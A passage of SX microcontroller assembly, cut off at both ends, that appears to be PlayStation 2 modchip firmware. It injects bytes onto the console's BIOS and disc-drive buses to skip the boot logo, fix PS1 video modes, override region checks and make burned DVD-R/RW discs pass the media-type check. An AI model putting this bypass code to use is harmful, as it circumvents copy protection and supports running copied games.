w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 ;sync for all versions using regs :)) ;PS2_PS2LOGO::loop00x PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE ;PS2_PS2LOGO:loop1x PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START IFDEF SX48RAM mov w,#$26;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$37;3C ELSE mov w,#$3c ENDIF mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;patch logo 2 times for V7 only ! ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG jmp PS1_CONSOLE_ALL_JMPNTSC setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V0_FLAG ;; ; jmp V1toV8_CONSOLE_CDDVD_START snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P10 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P10 ret PS2_MODE_START_V0 ;;; clr fsr ;;jmp Load8skip ;;; skip pvd sb PSX_FLAG jmp BIOS_PATCH_DATA_V0 ;ps2 mode selected , skip mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... page $0200 jmp ALL_CONTIUNE_BIOS_PATCH BIOS_PATCH_DATA_V0 ;CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset ;; 1st patch snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;;;??? loop condition? load36skip mov w,#35;37;$7 ; skip 39 right mov VAR_DC1,w ; nop PVD_V0 ;;todo snb IO_BIOS_OE jmp PVD_V0 nop mov w,#$10 ;ascii 1 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 1 ;v1 sb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$0 ;ascii 2 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 2 ;v2-3 sb z jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$a2 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 mov w,#$af ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$04 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp PVD_V0 ;;;;;;;;;;;;;;;;; PVD_V01 call BIOS_WAIT_OE_LO_P10 ;; 10 00 a2 af 04 mov w,#$0 ;ascii 5 mov w,IO_BIOS_DATA-w ;does VAR_BIOS_REV = 5 ;v4 sb z ;skip next line if doesnt = 